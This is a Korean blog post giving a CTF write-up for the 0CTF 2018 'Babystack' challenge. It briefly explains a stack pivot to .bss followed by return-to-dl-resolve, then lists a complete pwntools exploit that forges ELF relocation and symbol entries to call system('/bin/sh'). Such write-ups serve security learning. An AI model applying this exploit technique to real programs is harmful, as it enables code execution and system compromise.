[0CTF_2018] Babystack

2019. 12. 3. 16:31·PWN/CTF
728x90

read만 있다. bss로 스택 마이그레이션 시켜서 return_to_dl_resolve로 해결하면 되는데 이 return_to_dl_resolve가 엄청 복잡하다,, : (

 

https://www.lazenca.net/display/TEC/01.Return-to-dl-resolve+-+x86#id-01.Return-to-dl-resolve-x86-Exploitcode

 

01.Return-to-dl-resolve - x86 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Return-to-dl-resolve - x86 Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다. Lazy binding Flow Lazy bin

www.lazenca.net

여기에서 진짜 잘 설명하고 있어서 이거보고 이해하는게 좋다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
 
s = process("./babystack")
elf = ELF("./babystack")
 
 
leave_ret = 0x08048455
pppr = 0x080484e9
 
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
bss = elf.bss()
 
 
 
 
gdb.attach(s)
 
pay = "A"*0x28
pay += p32(elf.bss()+0x2fc)
pay += p32(elf.plt['read'])
pay += p32(leave_ret)
pay += p32(0)
pay += p32(elf.bss()+0x300)
pay += p32(0x500)
 
s.send(pay)
 
 
base_stage = bss + 0x300
 
addr_fake_reloc = base_stage + 20
addr_fake_sym = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym + 16
addr_fake_cmd = addr_fake_symstr + 7
 
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF
fake_r_info = fake_r_info | 0x7
fake_st_name = addr_fake_symstr - addr_dynstr
 
pay = p32(addr_plt)
pay += p32(fake_reloc_offset)
pay += p32(elf.plt['read'])
pay += "B"*4
pay += p32(addr_fake_cmd)
#fake elf32_rel
pay += p32(elf.got['read'])
pay += p32(fake_r_info)
#Fake elf32_sym
pay += p32(fake_st_name)
pay += p32(0)
pay += p32(0)
pay += p32(0)
pay += "system\x00"
pay += "/bin/sh\x00"
 
s.send(pay)
 
 
s.interactive()
Colored by Color Scripter
cs
저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[DownUnderCTF] Return to what's revenge  (0) 2020.09.20
[33C3_2016] Babyfengshui  (0) 2019.12.06
[CodeBlue_2017] Secret_mailer_service  (0) 2019.12.02
[CodeBlue_2017] simple_memo_pad  (0) 2019.12.01
[RCTF_2018] Rnote4  (0) 2019.11.29
'PWN/CTF' 카테고리의 다른 글
  • [DownUnderCTF] Return to what's revenge
  • [33C3_2016] Babyfengshui
  • [CodeBlue_2017] Secret_mailer_service
  • [CodeBlue_2017] simple_memo_pad
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[0CTF_2018] Babystack
상단으로

티스토리툴바